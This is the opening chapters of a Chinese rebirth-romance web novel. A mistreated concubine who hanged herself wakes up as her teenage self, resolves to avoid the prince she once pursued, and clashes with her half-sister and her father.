《重生攻略》 第1章 第1章 老实说，沐毓露这辈子很悲催地把自己活成了一个恶毒女配。 她一辈子都在为了穆衾寒而活，为他洗手做羹汤，为他提剑上战场，更为了爬上他的床无师自通掌握了“人不要脸天下无敌”之精髓。 她卖过萌撒过娇，撒过泼打过滚，甚至还给他下过药种过蛊，一哭二闹三上吊，无所不用其极。 她要他，为此可以不要脸。 可惜一直到死，他都没有碰过她。 不爱就是不爱，况且何止不爱，穆衾寒简直厌恶她。 是了，若非厌恶到了骨子里，他也不会这般对待她。 算起来，这是她被关在这个小黑屋的第三个年头了。 沐毓露挣扎着从地上爬起来，踉跄着走到窗子跟前。 窗棂被钉死了，她只能透过缝隙隐约瞧见被木板割成一绺绺的月光。 可是似乎连月光都嫌此地腌臜，在窗前徘徊逡巡着，就是不肯施舍分毫，不肯落入她的眸中。 窗外便是皎洁明月，可她的眼里只剩黑暗。 是的，除了黑暗，她一无所有了。 无依无靠的她被没日没夜地圈禁在这小破屋子里，吃喝拉撒皆在此地。 这样的日子已经过了整整三年，她已经有三年不曾见过蓝天白云不曾见过屋外阳光。 她固然恼恨，可是她恨穆衾寒她恨柳闻霜，恨天恨地恨空气恨遍了全世界，时至今日，最后所恨的却只有她自己。 若非她执念太深，又怎会死皮赖脸地缠着穆衾寒，又怎会一心扑在他的身上，落得这般下场？ 她爱穆衾寒爱得死去活来，但是被穆衾寒爱得死去活来的那个女人叫做柳闻霜。 柳闻霜也非京中贵女，以她的身份是无法成为穆王妃的，然而穆衾寒为了名正言顺娶她为妃，居然去求圣旨赐婚，可见情真意切。 这个孱弱医女不易受孕，可谓是历尽艰难才终于怀上了王爷的孩子，然而没过多久，她千辛万苦怀上的孩子便因为沐毓露没了。 其实说起来沐毓露并非存心害她。 在尚未被关进小黑屋之前，作为王府侍妾的沐毓露是要每日给王妃请安奉茶的，那日清晨她给柳闻霜奉茶时不经意望见对方微隆的小腹，一时间有些发愣，等她反应过来时，手中的那盏茶水已经泼在了柳闻霜的身上。 柳闻霜体弱，受不得这样一惊，竟然就此小产，还因此落下病根，将来再也不能有孕。 穆衾寒得到消息后立马从宫中赶回，震怒之下直接将沐毓露关进了王府一角废弃院落的小屋里。 这一关便是整整三年。 起初沐毓露还会为自己分辩，她的确不是故意的，只是愣了下神不小心把茶水洒在了柳闻霜身上，没想到她会因此流产。 可也许是她从前行径太过恶劣，在穆衾寒眼里她就是个蛇蝎毒妇的形象，因此他咬定了沐毓露是有意为之，根本不给她解释的机会。 后来她只能在日复一日的幽禁中自己宽慰自己，她好歹是京城富商巨贾之女，她爹又是个极好面子的，若是知晓她如今被囚禁在小黑屋里，被王府的家丁们折磨成这般不人不鬼的模样，说什么他也会把她捞出来的。 可最后她没有等到她爹把她捞出来，反而等来了沐府上下满门抄斩的消息。 这个消息还是柳闻霜带给她的。 最吊诡的是她原以为柳闻霜前来告知她这个消息是为了报当年的丧子之仇，是特意来看她笑话。 却没想到人家竟然是真心实意来告诉她沐府消息，还特意去求了王爷，请求穆衾寒允准她回府祭奠。 毕竟下旨的人虽然是圣上，但天下百姓谁人不知他穆衾寒就是当今的摄政王。 圣旨即是他穆衾寒的意思，杀了沐毓露满门的人正是她心心念念的心上人。 对于沐毓露来说，这委实是有些残忍的。 “如今沐府上下只剩你一人了，过了今日沐府就要被查封，你若是想回府祭奠家人，王爷可以给你半日的时间。” “你……你不要怨王爷，他也是有苦衷的。” 柳闻霜说得情真意切。 沐毓露听得心如死灰。 然后她便感到无尽的荒诞。 她原以为柳闻霜伪善，平日里总是一味地在穆衾寒面前卖可怜，茶香四溢可以飘出五里地。 却没想到人家居然真的是个良善之人。 这种时候只有她肯不计前嫌来看她，还替她向穆衾寒求情，允她回府祭奠。 隔着一地的污秽，她望向柳闻霜清澈的眼，不禁哑然失笑。 如今看来，她沐毓露当真活成了话本子里男女主荡气回肠爱情故事中的恶毒反派。 一个荒诞的丑角而已。 她曾经一度成功爬上了穆衾寒的床，可是人家不仅没碰她而且稳准狠地把她踹了下去，为了得到他，她不惜以侍妾的身份赖在他的身旁。 准确来说，其实她连侍妾都算不上，在穆王爷眼中，她不过是一个没名没分且很不要脸的可恶女人罢了。 活该最后落得这样一个下场。 罢了，罢了。 折腾了这么些年，这一刻她突然觉得累了。 身与心都无比疲惫。 “我想见穆衾寒一面。”她对柳闻霜说。 柳闻霜没有说话，只是沉默地注视着她，不知在想些什么。 沐毓露突然自嘲地笑了一下。 其实她能够猜到柳闻霜在想什么。 得知沐府全家上下都死绝了的消息，她居然不哭不闹，也不打算回府祭奠，都到这个节骨眼儿了，唯一的心愿竟然还只是见穆衾寒一面。 真不知道该说她是没有骨气还是铁石心肠。 柳闻霜沉默了好一会儿，就在沐毓露以为她要拒绝自己时，她起身道了句好，然后当真将穆衾寒请了过来。 整整三年时光，穆衾寒把她扔在这个小黑屋里，对她不闻不问，让她自生自灭，她知道他该是厌极了她，因此实在没有想到，自己竟然能在这个时候如此轻易地见到他。 他命人将门打开，于屋外负手而立，居高临下地注视着被囚禁在小黑屋里污秽不堪的她。 他没有说话，安静地等待她开口。 “王爷……”她咽了口唾沫，声音沙哑得不似人声：“我想问问你，沐府被满门抄斩，是受我连累么？” 穆衾寒眼中浮现起一丝冷意，同时还有一抹不屑。 他冷笑着道：“你未免太看得起自己。” “不是因为我？”沐毓露先是有些恍惚，而后语气里多了一些欣喜：“不是因为我就好……不是因为我就好……” 穆衾寒皱了皱眉：“你千方百计想要见我一面，就是为了问这个？” 他大概难以理解，什么样的人会在得知自己全家上下满门抄斩的消息时不仅不哀伤，反而有些欣慰？不仅不哭，反而轻松地笑？ 就算沐府上下并非受她连累，她也不该是这个反应。 沐毓露不看他了，她将目光移到他身后被月色笼罩着的庭院中，反反复复地重复着那一句话。 “不是因为我就好……不是因为我就好……” 穆衾寒再一次皱了皱眉。 他不再说话，最后望了一眼憔悴得不成人样的沐毓露，拂袖转身离去。 他离开时带走了沐毓露眼中的月光，小厮紧随其后关上了门，隔着门板，她听见一重又一重铁链的声音。 长叹一口气，沐毓露爬回墙角，费力地在一堆污秽物中摸索着什么。 她想，此生已然如此，穆衾寒固然恶毒固然狠辣，但这一切，都是她自找的罢了。 谁让她在最没见识的年纪爱上了最为惊艳的他，谁让她在求而不得的相思中迷失自我变得满腹诡计变得偏激执着。 其实哪怕直到现在，她也想为穆衾寒说句公道话，他之所以如此待她，只是因为他不爱她。 一句不爱，便是判了死刑。 她想开了，就这样吧，从此女主和男主幸福快乐地生活在一起，而她这个恶毒女配，也该收拾收拾潦倒退场了。 这才是她该有的结局，到了生命的最后一刻，她甚至想祝柳闻霜和穆衾寒幸福。 终于，她摸索到了沾满污渍已然泛黄的白绫，这是穆衾寒许久之前命人扔给她的。 “实在忍受不住，你可以自尽，这是本王给予你最后的仁慈。” 沐毓露颤巍巍地站上凳子，将白绫悬于房梁。自戕的一应用具穆衾寒都准备齐全了，他可真是贴心。 她将眼睛闭上，努力咬紧牙关。 听说这样自尽的人模样会很丑，所以她很努力，很努力，很努力地不让自己把舌头伸出来。 她沐毓露别的没有，能拿得出手的只有美色，即便这几年被摧残得像个鬼，即便她真的马上要变成一个吊死鬼，那也要做黄泉路上最美的鬼。 可惜踢翻凳子的下一秒她便不自觉地张大了嘴。 行吧，舌头还是吐出来了。 沐毓露绝望地伸着舌头蹬着腿，感受着脖颈处传来的疼痛，感受着生命的逐渐剥离，心里涌上一股悲凉。 她原是最怕疼的，幼时出门踏青玩耍，哪怕是一根狗尾巴草打在她的身上，她都能疼得哇哇大哭。 却没想到她最后竟是这么个痛苦不堪的死法。 好疼好疼，真的好疼。 若是有下辈子，若是有下辈子…… 彻底失去意识之前她想，如果再给她一次机会，她再也不要爱上穆衾寒了。 第2章 第2章 醒来时感到一阵眩晕，沐毓露吐了吐舌头，凉飕飕的还挺舒服，不禁开始琢磨自己怎么还有意识，是没死成还是真变成了吊死鬼？ “呜呜呜小姐你终于醒了……” 一个丫头清脆的哭喊声将迷迷糊糊的沐毓露拽回现实，她猛地睁大了眼，不可置信地盯着跪坐在自己床边哭得一把鼻涕一把泪的小丫头。 这个在自己床前哭得情真意切哭得伤心欲绝的丫头，不正是从前她还在自家府上住着时一直伺候她的婢女心云吗？ 在她遇见穆衾寒之前便是心云一直陪伴在她身边，可惜后来她被穆衾寒迷了心智，愈来愈疯魔，也就愈来愈无法忍受企图将她拉回正道的心云，竟将她随意指给了一个小厮，就这么把这丫头打发了事。 后来听说那混账玩意儿对心云不好，时常醉酒，喝醉了便打骂心云。 她虽听了这么一耳朵，却也没有多管，彼时她的头号情敌柳闻霜已经出现，她哪里有精力管一个丫鬟的死活？ 现在回想起来，将心云许配给那个混账小厮的她也不是什么好东西。 想到这里沐毓露打了个冷颤。 所以心云这是不堪折辱，凄惨离世后化作厉鬼来找她算账了么？ 沐毓露顿时被吓得哭出声来，像条砧板上的鱼一样扑腾起来。 心云见她突然发疯，连忙伸出手想要拉住她，这么一拉可不得了，彻底将沐毓露吓成了个受惊的鹌鹑，更加卖力地扑腾起来。 扑腾着扑腾着，沐毓露忽然想起，她自己不也已经死了，变成吊死鬼了吗？ 那还怕个鬼啊！ 想到这里她安静下来，揪着被子小心翼翼地打量心云。 两只“鬼”就这样大眼瞪小眼。 “小姐你怎么了？你不要吓心云啊！”见沐毓露冷静下来，心云立马扑了过去，死死抱住她：“不就是绳子断了吗？奴婢这就去再买个结实点儿的，您可千万要保重脑子千万不能吊傻了呀，傻了还怎么嫁给穆王爷呜呜呜……” 沐毓露听得一头雾水，反应了好一会儿才结结巴巴地问：“你说什么？什么绳子断了什么穆王爷？” 说到穆王爷三个字她突然尖叫一声：“你说的穆王爷不会穆衾寒吧？！” 心云惊愕地盯着沐毓露，吸了吸鼻子看傻了眼。 现在她确定一定以及肯定，自家小姐真的傻了，不然怎么会连心心念念的心上人都忘记了。 “小姐你别这样，老爷不许你参加庙会那咱就再自尽一次。小姐你之前说过失败是成功之母，你还说过不抛弃不放弃要加油要努力，才能抱得美人归！” 老爷？庙会？ 沐毓露有些精神错乱，然后逐渐回忆起自己的黑历史。 在她及笈那年，元宵节的庙会上，她第一次见到了命中大劫穆衾寒。 彼时斯人如玉，白衣胜雪，一下子便勾走了她的七魂六魄。 其实在此之前她早已耳闻穆小王爷穆衾寒风华绝代之名，又买了小道消息，得知他会在元宵节当晚出行，因此才死缠烂打非去庙会不可。 可惜那晚穆衾寒勾走了她的魂儿，人家本尊却根本未将她放进眼里，徒留她一人芳心暗许，为今后的作孽埋下伏笔。 沐毓露惭愧地叹了口气，然后猛地抬起头来。 怎么着，她这是……死回了及笈那年？ “心云……” 沐毓露望着眼前心云稚嫩的脸，瞬间红了眼眶，哆哆嗦嗦地伸出手来：“你……你快将镜子拿过来！” 心云怔了一下，随即无奈地撇了撇嘴。 得，小姐还惦记着自个儿的仪容仪表，看来没疯，于是她也就将悬着的心放了下来，很麻利地将镜子取过来，小心翼翼地递到沐毓露手里。 镜中少女眉目如初，杏眼朱唇鹅蛋脸，满是稚气却也初显风韵，眸里一汪水漾着满天星辰，唇角不自觉上翘露出一丝跳脱狡黠，肤若那个凝脂，手如那个柔荑，当真可爱可怜。 是了，这是她，不是那个被关在小屋子里被折磨得人不人鬼不鬼的王爷侍妾，而是十年前，不曾遇见穆衾寒，拥有大好年华天真无邪的沐毓露！ 是的，沐毓露一直觉得十年前的自己是天真无邪的，尽管心云非常不这么认为。 “小姐，你脑子正常了？”心云抬手在沐毓露眼前晃了晃：“先别沉浸在自己的美色里无法自拔了，我们再想想办法，接下来你是继续上吊还是换个法子？不如跳河怎么样？” 沐毓露仿佛失聪了，一把扔掉镜子，直勾勾地望着心云。 看来她是真的重生了，带着上一世的记忆，她沐毓露重生了！ 狂喜之下她抬手猛地抱住心云，胳膊一收晃了又晃，直晃得这丫头以为小姐穷疯了要谋财害命。 既然老天再给她一次机会，那她一定要好好珍惜身边人，绝不要再被外头的野花迷了眼。 她沐毓露发誓，一定洗心革面重新做人！ “心云啊……” 松手放开心云，沐毓露无比沧桑地望向窗户：“屋外可有光？” “小姐，屋外阳光正好。”心云见不得沐毓露这副矫情兮兮的样子，起身拉开帘子推开窗户，璀璨阳光霎时涌了进来，洋洋洒洒铺满一地。 沐毓露险些被这阳光闪瞎了眼，眯了眯眼睛，又恋恋不舍地睁开，近乎呆滞地望着窗外的蓝天白云。 已有多少年，她不曾见过光明。 这令人窒息的自由啊，只有失去过，才会明白—— 它比劳什子爱情珍贵多了好吗！ 沐毓露掀开被子从床上跃起：“心云，快来替我更衣！” 心云嘴角抽搐了一下，心不甘情不愿地挪了过来。 什么嘛，晕死过去一回，小姐怎么变得一惊一乍疯疯癫癫的，这样下去何时才能抱得美人归。 嘟嘟囔囔地替小姐更着衣，心云忽地想起她家小姐中道崩殂尚未完成的计划，于是抬起头诧异地望着沐毓露：“小姐，更衣去哪里？你不自尽啦？” “自尽？疯了才自尽！”沐毓露嫌心云动作慢，一把扯过衣带，三下五除二随意一绑，拔腿就向外跑。 趁现在天还没黑，穆衾寒尚未出没，她要赶紧出门感受一下自由的味道。 否则等到天晚了庙会开始了穆衾寒出来了，她就只能缩在屋里头嗑瓜子了。 没错，这辈子洗心革面的沐毓露，再也不要制造各种机会“偶遇”穆衾寒。 恰恰相反，她要让这一世的人生与穆衾寒彻底绝缘！ 穿着一身新衣裳，戴着面纱出了门，沐毓露走得雄赳赳气昂昂。 可怜心云有苦说不出，望着沐毓露欲言又止了好几次，终于还是忍不住开了口：“小姐，心云好像拿错了，这身衣服好像不是你的……” 此刻沐毓露穿着的这一身儿水绿色长衫像是将春溪裁成了帛，又揉了几分鸭蛋青进去，行走时裙摆柔软得像春水漾开了一汪汪涟漪。 如此上乘的料子，这般精致的设计，必是在京城最好的成衣店定制的，沐毓露虽为沐府的嫡长女，却是家主沐玉罡最不喜欢的一个女儿，她哪里能有这么多钱财定制这样高级的成衣？ 心云越想越后怕：“这衣裳怕不是二小姐或者三小姐为庙会定制的成衣，我们还是赶紧还回去吧？” “我知道呀。”却见沐毓露一边撩起面纱啃馅饼，一边很认真地点头：“我知道这衣裳不是我的。” 她当然知道这身衣裳不是她的。 这是前世她的庶妹沐星子给她准备的“惊喜”。 上一世也是在庙会即将开始的这一日，沐星子哄骗着她穿上这身新衣，结果转头就可怜巴巴地跑到父亲那里去告状，惹得父亲对她好一通质问。 上辈子的沐毓露是有些傻的，非要当着父亲的面同那个只会使些上不得台面的小手段的庶妹争辩，结果本就厌烦她的父亲更加厌烦她了，让小厮将她拉下去二话不说就是一顿打。 真真没意思。 在穆衾寒手底下死过去又活过来的她现在完全看不上沐星子的那些小手段。 “心云，我是个傻的，你也是个傻的，沐星子的人都安排到了我们院子里来，神不知鬼不觉地把这身衣裳塞了进来，你居然都不知道。” 听见沐毓露这样说，心云吓得一个激灵，正准备低头向主子道歉，却听沐毓露话锋一转：“不过既然她乐意，我便也就收下，这身衣裳就当沐星子孝敬她姐姐我了。” 心云听着听着不由将小脸皱成了一团：“可是小姐，你穿了她的衣裳，她肯定是要到老爷那里去告状的，到时候老爷又要责怪你了。” 沐毓露冷笑一声：“再贵重也不过是一件衣裳而已，他能把我怎么样？” 上一世她在沐府日子过得不好，便是因为她爹不疼娘不爱，偏偏还眼巴巴地渴求着那份虚妄的爱。 所以她才会在府中做小伏低，无比在意自己在爹娘眼中是怎样一个形象，所以她才会因为得不到父母的眷顾，转而将这一份希望寄托在了穆衾寒身上。 却不知穆衾寒的爱比她父母的更加虚妄。 皱了皱眉，沐毓露轻轻啧了一声。 好端端的怎么又想起这个人。 她用力甩了甩脑袋，将穆衾寒的身影从自己脑海里甩出去：“沐星子要告状就去告，父亲要生气便生气，总归他不能因为一件衣裳就杀了我，总归这衣裳是穿在了我身上。” 第3章 第3章 心云纳闷地注视着沐毓露，总觉得小姐上吊晕过去一回，醒来后仿佛换了一个人。 沐毓露转过头与心云对视，眸中盛着潋滟的光：“记住了，他们都是无关紧要的人，没必要在无关紧要的人身上浪费心神。” 心云懵懵懂懂地点了点头。 沐毓露带着她继续在热闹的街市上穿行，行至一处酒楼前，她仰首细细打量，忽地开了口：“心云，前面可是天下第一楼？” 心云应了一声，然后上前两步扯扯沐毓露的衣袖：“小姐，这天下第一楼可不是咱们消费得起的，还是快些回去吧。” “父亲可是皇商，我作为嫡长女还消费不起一个酒楼？赊了钱记沐府账上不就好了。”沐毓露冷笑两声，抬腿便向楼里走。 心云无法，只得跟了上去，一边跟一边腹诽，可你是你爹最不得宠的孩儿，在府里一点地位都没有，怎么还敢把赊的账记沐府头上？ 心云虽然没有说话，但她的想法全都挂在了脸上，沐毓露无奈地瞥了她一眼。 心云笑她太疯癫，她笑心云看不穿。 带着上辈子的记忆重活一世，她当然不是随便活的，在看见酒楼的第一眼她心里就打起了如意小算盘。 上一世她以为爹娘姐妹都是靠不住的，因而将希望寄托在了穆衾寒身上，死过一回之后她算是明白了，自己的爹都靠不住，别的男人更靠不住。 想到这里她抿了抿嘴唇。 或者说，连自己的父亲都不爱自己，她如何还能奢求别的男人的爱。 自嘲地笑了一下，她脚步轻盈地继续往楼上走。 幸好她重生之后还保留着前世的记忆，这就让她掌握了十分重要的信息差，此刻她已经在脑海中规划好了未来的商业蓝图。 包括如何利用信息差挣得第一桶金，如何利用自己的手艺赚到足够傍身的银两，如何让这些银两生银两，从此便可吃喝不愁，再也不用依附着旁人生活。 重活一世她想通了，任何人都靠不住，终归只能靠自己。 沐毓露在心里盘算着自己的小九九，想着想着便入了迷，她一边畅想着未来自由富裕的生活，一边忍不住笑出声来。 殊不知笑出声来不打紧，打紧的是这粗犷的笑声惊动了旁人。 惊动了旁人也不要紧，要命的是惊动了一个她最不想惊动的人。 彼时那人正手扶栏杆拾级而上，忽闻楼下传来一阵极为嚣张的可怕笑声，不禁一怔回过头来—— 墨发轻扬，如夜色满肩，白衣胜雪，似梨瓣轻覆，腰间环佩作响，闻来清脆有如天籁。 饶是这样一身行头，依然配不上他的好皮囊。 就是这样一副皮囊，惹得上一世的沐毓露失了心智丢了魂魄，最后求而不得逐渐疯魔。 眼前之人，竟是穆衾寒。 心云恍然大悟地望着沐毓露。 敢情小姐是翅膀硬了有本事了，连穆王爷会在逛庙会之前来天下第一楼的消息都知道。 怪不得她非要来此，怪不得她如此自信。 原来竟是早就安排好了这一场“偶遇”！ 心云不停地给沐毓露使眼色：小姐英明小姐威武，美人在前小姐快上！ 这下轮到沐毓露有苦说不出了，她深深地凝望着穆衾寒，轻轻地摇着脑袋，一脸的苦不堪言。 就在穆衾寒以为又有一个姑娘拜倒在他的石榴裙下时，那姑娘却倒吸一口凉气，提起裙摆，以百米冲刺的速度转过身子拔腿就跑，像身后有鬼在追她，绝尘而去不带走一片云彩。 苍天呀大地呀！ 穆衾寒！她遇到了穆衾寒！ 沐毓露拎着裙摆埋首狂奔，连滚带爬地冲回沐府，一路上撞翻了好几个人吓坏了好几匹马，撂倒猫猫狗狗踩坏花花草草不计其数。 没办法，小命重要，此刻什么都顾不得了，她只想离穆衾寒越远越好。 足尖飘飘跑得跟一团云似的沐毓露，以迅雷不及掩耳盗铃之势埋头憋气冲刺，一不留神撞到了柱子上，一头倒在地上圆润地滚了个圈儿，她头也不抬地爬起来呼哧呼哧继续跑。 然而没跑两步她又一头撞到了柱子上，正欲抱怨府中的柱子怎么这样多，却见那柱子往后一倒，倒下的同时还朝她伸出手来。 沐毓露惊魂未定地抬起头，这才发现自己刚刚一头撞上的并非是柱子，而是沐府三小姐也就是她的三妹沐星子。 沐星子自小体质就弱，哪里经得住沐毓露这样一撞，当即被撞退了好几步。 其实被撞退好几步并没有太大的关系，有关系的是，她身后是一片养满了小鱼儿的人工湖。 更有关系的是，这丫头在向后倒去的瞬间眼疾手快地抓住了沐毓露。 于是沐毓露就这样水灵灵地和她一起跌进了湖里。 两位小姐双双落水，岸上顿时乱成一团。 有跑来跑去到处找救兵的，有高声尖叫充当气氛组的，还有眼珠子一转心生一计立马去找老爷告状的。 唯独没有跳下来救小姐的。 沐毓露和沐星子皆不会水，不过沐毓露好歹有丰富的自裁经验，光是府里的人工湖她都跳了不下十次，因此深知落水的人是挣扎不得的，越挣扎越容易呛水。 但是沐星子不知道这一点，并且她还尤为怕死，拽着沐毓露在水里不停地大鹏展翅。 她这样一扑腾把水里的鱼儿吓得不轻，鱼群在水里疯游，时不时一个神龙摆尾甩在沐毓露的脸上。 一时间岸上兵荒马乱，湖里鸡飞狗跳。 沐毓露冒着生吞小鱼的风险张开嘴对沐星子好言相劝：“护院小厮马上就来捞我们了，你可别扑腾了，越扑腾越往下沉。” 沐星子哪里听得进去，呛了几口水后吓得更加用力地挣扎起来。 沐毓露也在挣扎，挣扎着想要把自己的手从沐星子的手里挣脱出来。 无奈溺水的人随便抓住一个什么东西就像抓住了救命稻草，沐毓露怎么也挣脱不开，她不禁绝望哀嚎：“要死你自己死，你别拉我一起啊……” 说着她也咕嘟咕嘟呛了几口水，被迫和沐星子一起往湖底沉去。 便在这时一双温热的手托住了她正在下坠的身体，掌心的温度隔着冰凉的湖水和单薄的衣衫自腰际传来，烫得沐毓露微微一颤。 下一瞬她被捞出了湖面，被人带着往岸上游去。 沐毓露虚弱地倚在那人宽阔的胸膛里，抬起胳膊搭在他的肩上，八爪鱼似的缠住了他。 那人身子一僵，然后紧了紧抱着沐毓露的手，垂首对她道：“小姐别怕，没事了。” 沐毓露听到救命恩人的声音后怔了怔，抬起头望向他，紧接着便看见了一张熟悉的脸。 墨发薄唇剑眉星目，一眼瞧来便是老气的护院制服也压不住的英气勃发。 这个顶好看的少年郎叫做风问棠，是沐毓露她爹高价雇来的贴身护院，专门保护他安全的。 上辈子对沐毓露好的人没几个，这少年算得上其中一个。 前世的她在最痴迷穆衾寒的时候，总是会让心云去打探穆衾寒的行踪，然后她便偷溜出去尝试制造各种“偶遇”。 后来被沐星子告了几次状，沐玉罡便禁了她的足，不许她再出府，免得她败坏了沐家女儿的名声。 那段时间沐府的小厮和护院盯她很紧，防贼似的防着她，别说出府了，她连踏出自己的院门都难。 也不是没尝试过贿赂他们，但沐毓露是沐府上下最穷的人，老爷和几位姨娘身边的贴身丫鬟说不定都比她有钱，她用来贿赂小厮护院们的那点东西实在是不够看。 既然贿赂不了那她就故技重施，继续一哭二闹三上吊，动不动就往院子旁边的人工湖里跳。 然而沐府的小厮们早就对她的手段见怪不怪了，每次他们都冷静地看着沐毓露表演，等她在湖里象征性地扑腾了几下之后，再一脸麻木地跳下去捞她。 如此反反复复，沐毓露也瞧出来了，这样的手段对他们并没有用，他们早就被她锻炼出抗体了。 除了风问棠，没人理会她的苦肉计。 第一次发现风问棠人美心善是在她第无数次尝试溜出府失败的时候。 那时正逢风问棠当值，沐毓露可怜巴巴地坐在窗前注视着他挺拔的背影，隔几秒钟叹一口气。 在她叹了不知道多少口气的时候，院门口那个自始至终挺拔的身影终于微微一颤。 风问棠无奈地转过头来：“小姐可是在府中太闷，想要出去透口气？” 沐毓露眼睛一亮，然后疯狂点头。 风问棠注视着她亮晶晶的眼睛，犹豫了一下道：“可是老爷不许您出府。” 沐毓露咬住下唇垂下眼帘，双手紧紧地扣着窗沿，瞬间变得蔫巴了。 风问棠见她眼中的光逐渐变得黯淡，又立即不忍地道：“不过出去半个时辰想也无妨，您按时回来别被发现就好。” 沐毓露眼中的光芒又重新亮起。 此后每次风问棠当值的日子便是她的赦免日，每到这一天她便有了半个时辰的放风时间。 第4章 第4章 风问棠对她的好还不止于此。 在沐毓露院里当值过几次之后，风问棠发现了这位沐府嫡女日常生活的窘迫。 三小姐沐星子虽为庶女，但她的亲娘王姨娘甚受沐玉罡的宠爱，虽然沐府还不至于到宠妾灭妻的地步，但这王姨娘在府中俨然算是半个主子，地位快要同嫡妻沐昭氏平起平坐了。 沐玉罡爱屋及乌，王姨娘在府中的地位堪比嫡妻，作为女儿的沐星子自然也堪比嫡女。 身为沐府最受老爷宠爱的小姐，她在府中的一应待遇完全不是庶女的规格。 至于二小姐沐晚意那便更不用提了。 沐晚意与沐毓露皆为沐昭氏所出，同为沐府嫡女，这两人在府中的地位却是天差地别。 与沐毓露不同，沐晚意打出生起便一直养在沐昭氏身边，因为心疼女儿，沐昭氏连奶娘都不愿请，真真儿是亲力亲为辛辛苦苦将这孩子拉扯大。 这样的情分岂是自小便没有养在父母身边的沐毓露能比的。 至于沐毓露为何从小被扔在了外祖家，近几年才从乡下被接到京城，风问棠便不得而知了。 总之沐府三位小姐，最得老爷宠爱的三小姐沐星子过得有如嫡女，最受夫人喜爱的二小姐沐晚意更是如鱼得水。 唯独身份尊贵但处境尴尬的嫡长女沐毓露爹不疼娘不爱，活得像是地里的一颗小白菜。 哪怕是寻常人家的孩子，若是家中长辈一碗水端不平，不被偏爱的那个孩子少不得要受许多的委屈，何况是这样富庶的商贾之家。 府中人员复杂，光是丫鬟小厮加起来都有好几十人，府里人当差惯会拜高踩低，沐毓露这颗长在泥巴里的小白菜，自然是谁都可以踩一脚的。 府中的一应用具总是将最差的那一批留给沐毓露便罢了，就连每个月分给她们院的银两都能被账房克扣掉一半。 自然了，账房敢这么做，背后是有王姨娘撑腰，沐毓露不知是真的迟钝，还是早就看清了这背后的利害关系，总之她院子里缺东少西的，她竟也从没有闹过。 风问棠将这一切都看在眼里。 有时他会在私底下询问心云，得知沐毓露院里缺什么东西后，他就用自己的月俸替她安置。 风问棠此举令心云大为感动，有一段时间她总是劝沐毓露，说风护院待小姐极好，还经常旁敲侧击地问沐毓露，有没有可能移情别恋一下，把放在穆衾寒身上的心思挪一点点到风问棠身上。 那时沐毓露问她，风问棠对自己是怎么个好法。 心云略一沉吟，然后十分笃定地回答：“他愿意给小姐花银子！” 愿意给你花银子的人未必真心对你好，但不愿意给你花银子的人一定不是真心对你好。 心云苦口婆心地劝沐毓露：“小姐，整个沐府唯一愿意主动给你花银子的人就只有风护院一个，这是多么珍贵多么难得呀。” 心云自有一番道理，这实打实愿意给她花银子的眼前人不比那个虚无缥缈的穆衾寒来得实在多了。 沐毓露便是在那个时候知晓了风问棠的心思。 她知道他喜欢她，少年人的心事是藏不住的。 可知道了又如何，前世的沐毓露根本没有将风问棠放在眼里，那时候的她满心满眼都是恍若谪仙的穆衾寒。 再加上前世她当真是个傻的，居然还自恃沐府嫡长女的身份是何等高贵，因此瞧不起身为区区护院的风问棠。 她以为凭高贵的身份和出色的容貌，她无论如何是要嫁给穆衾寒的，倘若不能，那她的一身才情和美貌乃至灵魂都毁了。 直到被穆衾寒所赐的一根白绫勒死前的那一刻她才幡然醒悟，什么沐府嫡长女，什么身份什么地位，都是虚无缥缈的东西。 所谓的身份地位从来不曾掌握在她自己手上，或者说，从不曾真正属于过她。 从前还在沐府的时候父母不垂怜她，她的地位便形同虚设。 后来嫁入了王府穆衾寒厌恶她，她便更是被弃若敝履。 她哪来的脸瞧不起身为护院的风问棠。 至少人家是凭自己的本事吃饭。 风问棠的声音将沐毓露从漫长的回忆中拉回现实。 “小姐？小姐醒醒，您怎么翻白眼了？” 沐毓露猛然醒转，发现自己已经被风问棠捞到了岸上，在他不停的心肺复苏下不断地向外吐水。 她有些恍惚地注视着风问棠的脸。 方才她是走马灯了？ 差点又死一次。 家主沐玉罡便在这时匆匆赶到，刚赶到便看见沐毓露在众目睽睽之下躺在风问棠怀里不停吐水，旁边还躺着个刚被小厮们捞上来衣衫不整的沐星子，差点一口老气上不来当场晕过去。 啪的一声脆响，他一巴掌扇在沐毓露的脸上：“你这个不孝女！你你你……” 憋了半天他也没憋出个什么来，只能赶紧让风问棠将沐毓露放下，然后命丫鬟们把大小姐和三小姐各自抬回去。 王姨娘紧随其后赶到现场，看见沐星子的第一眼便尖叫一声倒吸一口凉气，她这一口气倒是真的没能提上来，于是当场晕了过去。 又是一阵兵荒马乱。 沐玉罡一边催促丫鬟们赶紧将小姐都带回去，一边喝令府中的护院小厮，今日之事谁都不许说出去，敢说出去半个字全都打死。 最后他一边给王姨娘顺气儿一边宽慰她。 “你放心你放心，此事是星儿受了委屈，我一定给你们母女一个交代。” 如此这一场闹剧才算是消停下来。 方才沐玉罡那一巴掌倒是把沐毓露给扇清醒了，回到自己院里后她裹着被子盘腿坐在床上，面无表情地望着站在床前兴师问罪的爹。 嫌弃地蹙了蹙眉，沐玉罡开始吟唱： “怎么着，上吊不成，还打算拉着你妹一块儿投湖自尽？” “你当着这么多人的面被护院捞上来，你妹妹当着这么多人的面呛水不醒衣衫不整，我倒要问问你，你安的到底是什么心？” 沐毓露张嘴想要说话，沐玉罡却不给她开口的机会，继续道：“你自己败坏名节嫁不出去就算了，我就当白养你这个女儿，你何苦还要败坏你妹妹的名声？” “眼瞅着自己嫁不出去所以想要拉着你妹一起共沉沦，让她也嫁不出去陪你一起当姑子？” 越说越难听，沐毓露懒得继续听。 她强势地打断了沐玉罡的阴谋论：“我不是我没有，这只是一个意外而已。” 说完她故作伤感地望着她爹：“难道在您的眼中，女儿就是这样卑劣不堪的人？” 她爹不假思索地点了点头：“你还真就是这样的人。” 沐毓露沉默了。 沐玉罡冷笑一声：“为了去庙会，你已经撞过三次墙上过五次吊，投湖的次数更是数不胜数，于自尽一道早就熟能生巧，你说，还有什么事儿是你做不出来的？” “就因为不许你去庙会，你可是一哭二闹三上吊恨不得掀了这座院子，今儿算是让你抓到机会了，拿你妹妹的性命要挟你老爹是不是？” 人心中的成见是一座大山。 同样是坠湖呛水，她沐毓露所受的苦一点儿不比沐星子少，但沐玉罡不分青红皂白便对她一通质问，当爹的心已经偏到了十里八村之外，她还有什么可说的。 沐毓露抽了抽嘴角，懒得反驳了。 她扫了一眼被沐玉罡罚跪在墙角正瑟瑟发抖的心云，沉默了一会儿妥协道：“好吧，以前是女儿不对，女儿知错。” 